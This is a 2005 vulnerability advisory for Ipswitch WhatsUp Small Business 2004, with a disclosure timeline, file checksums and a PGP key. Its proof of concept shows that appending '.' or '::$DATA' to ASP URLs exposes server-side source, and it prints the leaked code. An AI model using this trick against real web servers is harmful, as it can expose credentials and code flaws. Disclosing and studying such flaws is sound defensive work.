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Ipswitch Whatsup small Business 2004



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Introduction

Problem

The installation has been made on a Windows 2000 server running with the latest service pack 4 and all current patches released.

The Ipswitch Whatsup small Business 2004 software vulnerability:

- [Access to view source code of all files, using "." or "::\\$DATA"](#)

Timeline of public disclosure

- 01-08-2005 Vulnerability discovered
- 15-08-2005 Research completed
- 19-08-2005 Vendor notified
- 22-08-2005 Vendor tagged communication [T2005082202CV]
The only response was a mail asking for a Serial number of the installation, and since then radio silence.
- 30-08-2005 Asked for status
- 02-09-2005 Asked Again
- 06-09-2005 Notified vendor that if no response this would go public without further notice.
- 09-09-2005 Public disclosure

Contact information

The following vulnerability were discovered by Dennis Rand at CIRT.DK
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Public PGP key

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP 8.0

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mQGIBeAaf2xcRBADMr07uP0dJq1ZsXkLzLqEhz58LL77qLbXOMNoDRkAo+4MTZoZC
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CA==
=4wBy
-----END PGP PUBLIC KEY BLOCK-----
```

File description

MD5 software used

Filename: md5sum.exe
Comments: Modified from the version originally developed by Ulrich Drepper
<drepper@gnu.ai.mit.edu>
Company name: GMG Systems, Inc.
Product name: Forensic Acquisition Utilities
Product version: 1.0.0.1026
File version: 2.0.1.1032
MD5 checksum: 607be2b261c516a5c5469314445ab2f2

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Installation files:

Filename: iwsb.exe
MD5 checksum: 791bc2a0cf21f0f732d188ffebb7689c

Other files:

Filename: WhatsUpG.exe
File version: 8.4.3.4
Product Name: WhatsUp Gold Application
Product version: WUG 8.04 HF1
MD5 checksum: 88e41cb33fe5439c8db15ecd2c8ce487

Technical details of the vulnerabilities

Access to view source code of all files, using "." or "::\$DATA"

It is possible to view the source code of all files made public through the web server, by using a "." after the extension or using "::\$DATA" after the filename.extension

The Proof of Concept is shown with the default guest user that do not normally have privileges to view the "UserCreate.asp" file.

Normal output

<http://192.168.1.10:8022/SOHO/reports/GroupDeviceHealth.asp>

```
<html><head><link rel="stylesheet" style="text/css" href="MainSmallBusinessCSS.css">
</head><body topmargin="0" bottommargin="0" rightmargin="0" leftmargin="0">
<table background="images\HeaderBackground.gif" width="100%" border="0" cellpadding="0" cellspacing="1">
<tr nowrap> <td nowrap rowspan="3" valign="center">&nbsp;
</td>
<td nowrap width="10px" height="5"></td> <td nowrap width="100%"></td>
```

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Output from attack:

<http://192.168.1.10:8022/SOHO/reports/GroupDeviceHealth.asp>.

[http://192.168.1.10:8022/SOHO/reports/GroupDeviceHealth.asp::\\$data](http://192.168.1.10:8022/SOHO/reports/GroupDeviceHealth.asp::$data)

```
<%@ language="javascript" %>
<!--#include file="..\utility\Sql.inc"-->
<!--#include file="..\utility\SohoSettings.inc"-->

<%
    var nMaxDeviceCount = GetSohoMaxDeviceCount();
    //var oRs = ExecSQL(
    //    "SELECT nDeviceID, sDisplayName "+
    //    "FROM Device");

    var nDeviceGroupID = Request.QueryString("nDeviceGroupID");
    nDeviceGroupID=0;

    var oRs = ExecSQL(
        "SELECT Device.nDeviceID, sNetworkName, sNetworkAddress, "+
        "sMonitorTypeName, PivotActiveMonitorTypeToDevice.nPivotActiveMonitorTypeToDeviceID,
nStateFillColor, "+
        "nInternalMonitorState, nInternalStateTime, MonitorState.nMonitorStateID, nWorstStateID,nDeviceTypeID
"+
        "FROM PivotActiveMonitorTypeToDevice "+
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Attack description:

If an administrator are making customized web source the attacker can view this for usernames/passwords, or flaws into code, like SQL injection.

Corrective actions

None since vendor did not find this a problem.

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